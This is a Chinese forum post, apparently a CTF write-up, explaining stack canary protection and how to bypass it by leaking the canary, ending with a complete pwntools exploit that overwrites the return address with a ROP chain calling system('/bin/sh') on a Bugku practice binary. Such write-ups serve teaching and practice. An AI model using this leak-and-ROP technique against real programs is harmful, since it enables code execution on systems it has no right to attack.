耶耶耶耶耶 发表于 2022-12-3 23:37:30

canary绕过

canary保护简介

Canary 的意思是金丝雀,来源于英国矿井工人用来探查井下气体是否有毒的金丝雀笼子。工人们每次下井都会带上一只金丝雀。如果井下的气体有毒,金丝雀由于对毒性敏感就会停止鸣叫甚至死亡,从而使工人们得到预警。
当canary被打开,那么程序在最开始会把fs寄存器里面的值放进栈底的某个地方(通常32位程序是rbp-4,64位是rbp-8),当栈在使用完毕之前,会对这个地方的值进行异或检测,如果这个值被修改,那么程序就会报错。
    High
    Address |               |
            +-----------------+
            | args            |
            +-----------------+
            | return address|
            +-----------------+
    rbp =>| old ebp         |
            +-----------------+
rbp-8 =>| canary value    |
            +-----------------+
            | 局部变量      |
    Low   |               |
    Address我们知道,一般的栈溢出都是用gadget碎片进行攻击,也就意味着我们必须要溢出到返回地址的位置,那么栈底也会被覆盖,这样程序一定会报错,这样就达不到我们入侵的效果。
鉴于以上的原因,canary如今被广泛的用于栈保护的第一道防线。
那么如何绕过它呢?此处我们详细介绍一个绕过方式。
泄露canary地址

字符泄露

经过刚才的介绍,我们已经知道了canary是程序中的一个值,那我们就可以通过泄露这个值的地址,然后在溢出时将栈底需要检测canary的那一块地址原封不动的写入canary,实现绕过的效果。
用bugku的例题canary - Bugku CTF
https://img2023.cnblogs.com/blog/2908407/202212/2908407-20221203164106069-987963304.png
用ida打开,反编译得到
https://img2023.cnblogs.com/blog/2908407/202212/2908407-20221203164134860-707893544.png
不难看出read函数有栈溢出漏洞,但是在最开始有一个v6 = __readfsqword(0x28u);这个就是canary防护的标志,其他开有canary防护的大差不差都有这种函数特征。
看看汇编代码,发现是将fs寄存器里的值放到了rbp-8的位置
https://img2023.cnblogs.com/blog/2908407/202212/2908407-20221203164200376-345295507.png
再看看字符串,system和/bin/sh都有。
https://img2023.cnblogs.com/blog/2908407/202212/2908407-20221203164220867-1612984403.png
checksec一下,发现确实开了canary
https://img2023.cnblogs.com/blog/2908407/202212/2908407-20221203164232185-710351056.png
那么这个时候就要先打印出canary的地址,然后再溢出,溢出的过程中把canary的地址给到rbp-8的位置以绕过防护
下面直接贴出exp
from pwn import*
sh = process('./pwn4')
#sh = remote(ip,port)
context.log_level = 'debug'
payload1 = b'a'*568      #rbp-8的位置
sh.recvuntil(b"name(Within 36 Length):")
sh.sendline(payload1)
sh.recvuntil(b'a'*568 + b'\n')   #发送字符后会有回显,吸收掉这些回显
canary = u64(b'\x00' + sh.recv(7))#首先,因为地址排序是小端序的,canary地址没有问题,但是地址后面还需要加上一个'\x00'结尾,所以'\x00'必须遵循小端序加在开头的位置,然后才能把泄露的canary地址加上去,64位程序的canary的大小是8个字节,从0开始数,所以recv(7),32位程序的canary的大小是4个字节,从0开始数,应该recv(3)
print(hex(canary))               #打印canary地址,进行验证

sh.recvuntil(b'Please leave a message(Within 0x200 Length)')
pop_rdi_ret = 0x0000000000400963
system_addr = 0x400660
binsh_addr = 0x0000000000601068

payload2 = b'a' * 520 + p64(canary) + p64(1) + p64(pop_rdi_ret) + p64(binsh_addr) + p64(system_addr)   #构造payload
sh.sendline(payload2)
sh.interactive()其他绕过方式

[(8条消息) pwn]ROP:三道题讲解花式绕过Canary栈保护_breezeO_o的博客-CSDN博客

免责声明:如果侵犯了您的权益,请联系站长,我们会及时删除侵权内容,谢谢合作!
页: [1]
查看完整版本: canary绕过